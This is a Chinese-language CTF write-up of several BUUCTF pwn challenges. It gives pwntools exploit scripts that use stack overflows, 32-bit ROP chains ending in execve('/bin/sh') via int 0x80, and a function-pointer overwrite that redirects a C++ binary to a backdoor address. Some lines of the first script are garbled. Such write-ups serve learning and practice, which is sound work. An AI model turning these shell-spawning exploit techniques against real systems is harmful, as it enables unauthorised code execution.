由于buuctf好多pwn题目都是一个类型的,所以就把不同的,学到东西的题目,记录一下
gets存在栈溢出
本来也没啥
但是看到别人的用法也是第一次碰到,所以说一下
通过
ROPgadget --binary pwn14 --ropchain
from pwn import *
from struct import pack
context(os='linux',arch='i386',log_level='debug')
#p=remote("node4.buuoj.cn",29527)
r=process("./pwn14")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("./pwn14")
def bug():
gdb.attach(p)
pause()
p = b'a'*(0xc+4)
p += pack(', 0x0806ecda) # pop edx ; ret
p += pack(', 0x080ea060) # @ .data
p += pack(', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack(', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack(', 0x0806ecda) # pop edx ; ret
p += pack(', 0x080ea064) # @ .data + 4
p += pack(', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack(', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack(', 0x0806ecda) # pop edx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x080492d3) # xor eax, eax ; ret
p += pack(', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack(', 0x080481c9) # pop ebx ; ret
p += pack(', 0x080ea060) # @ .data
p += pack(', 0x080de769) # pop ecx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x0806ecda) # pop edx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x080492d3) # xor eax, eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0807a66f) # inc eax ; ret
p += pack(', 0x0806c943) # int 0x80
#bug()
r.sendline(p)
p.interactive()
这里需要注意的是
1.不能再用 p 代表进程了,因为生成的payload就是p
2.需要在头加一个头模块 from struct import pack
这个题目本来想着挺简单的,但是做的时候,发现对32位的rop链布置,有点不熟悉了,这个题又给复习了一下
checksec一下
栈溢出,并且是静态编译,而且有pop_edx_ecx_ebx——ret,和pop_eax——ret
但是程序没有/bin/sh,所以思路是采用execve(“11”,/bin/sh",null,null),系统调用号为11,先调用read函数把/bin/sh读入到bss段内,再调用execve(“11”,/bin/sh",null,null),布置rop的时候,
b'a'*(0x1c+4)+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss_addr)+p32(0x8)
read函数的返回地址改为了pop_edx_ecx_ebx,把read函数调用之后的参数给弹出栈
为了pop_eax为0xb,所以要弹出三次,就返回到pop_eax——ret了
脚本如下:
from pwn import *
from struct import pack
context(os='linux',arch='i386',log_level='debug')
p=remote("node4.buuoj.cn",26558)
#p=process("./pwn16")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("./pwn16")
def bug():
gdb.attach(p)
pause()
read_addr=0x806CD50
bss_addr=0x80Eaf80+0x50
pop_edx_ecx_ebx=0x0806e850
pop_eax=0x080bae06
int_0x80=0x080493e1
pay = b'a'*(0x1c+4)+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss_addr)+p32(0x8)
pay+=p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
#bug()
p.sendline(pay)
pause()
pa=b'/bin/sh\x00'
p.send(pa)
p.interactive()
c++的pwn题,做的比较少,而且做的时间也挺长的,主要是代码不好分析,记录一下
查看一下保护:
canary保护有点棘手,再看一下程序
是个c++题目
盲猜admin是账号,2jctf_pa5sw0rd是密码
然后输入运行一下。
说明程序中某个地方出现了错误,程序才会报错。
所以再分析一下代码
发现此处会调用a1,这个a1大概率是我们能够控制的(要不然程序应该不会报错)
这里伪c虽然容易懂,但是汇编层面的代码更直观,更准确
这里先找到a1到底是哪个变量能修改的,所以采用倒着看的方式
这里有个call rax并且rax是黄色这个变量能控制的,在上面发现这个变量是rdi传入的
在main函数中发现rdi是主函数中的,再进入到下面那个函数(上张图中的函数),可以追溯到rdi是rax赋值的
rax是黄色的变量赋值的,而黄色的变量是rax赋值的
进入到最近的函数看看rax是否被修改
rax被修改为后面变量的地址,而这个变量又是rdi传入的,再追溯
rdi又是这个rax赋值的
再跟进一下上面的函数发现,rax是被放入这个函数的地址了,
正确输入,会报错,不正确输入则没有问题,所以问题大概率就是我们输入的内容可能修改了影响rax的函数地址了,看一下输入的函数
发现这个奇怪函数,跟进发一下
发现这个函数修改【s-0x50,s】里的内容,把0xa修改成0,而那个函数刚好是0x400AB4
里面有0xa所以会修改成0,程序就会报错,既然如此,调试一下
根据我们的输入,算一下偏移(0x48),把0x4000b4修改成后门函数即可
from pwn import *
from struct import pack
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("node4.buuoj.cn",28141)
p=process("./pwn22")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF("./pwn22")
def bug():
gdb.attach(p)
pause()
shell=0x400E88
p.recvuntil("Please enter username: ")
pay=b'admin'
#bug()
p.sendline(pay)
p.recvuntil("Please enter password: ")
pay1=(b'2jctf_pa5sw0rd').ljust(0x48,b'\x00')+p64(shell)
p.sendline(pay1)
p.interactive()